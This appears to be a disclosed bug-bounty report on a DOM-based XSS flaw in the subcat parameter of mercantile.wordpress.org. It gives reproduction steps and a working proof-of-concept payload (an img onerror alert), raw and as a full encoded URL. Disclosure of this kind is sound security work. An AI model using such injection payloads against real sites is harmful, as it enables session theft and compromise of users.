WordPress · Report #230435
DOM Based XSS In mercantile.wordpress.org
Validstatus
mediumseverity
21upvotes
14 Jun 2017disclosed
How it was found
Hello, There is a DOM XSS in mercantile.wordpress.org in the apparel subcat. For example: https://mercantile.wordpress.org/product-category/apparel/?subcat=<html payload>
Steps To Reproduce
- Go to https://mercantile.wordpress.org
- Click on apparel
- In the url bar add : /?subcat="><img src=x onerror=alert(document.domain)> The domain will pop-up.
Or alternatively just click on the link to: https://mercantile.wordpress.org/product-category/apparel/?subcat=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Hope this helps. Sincerely, Pablo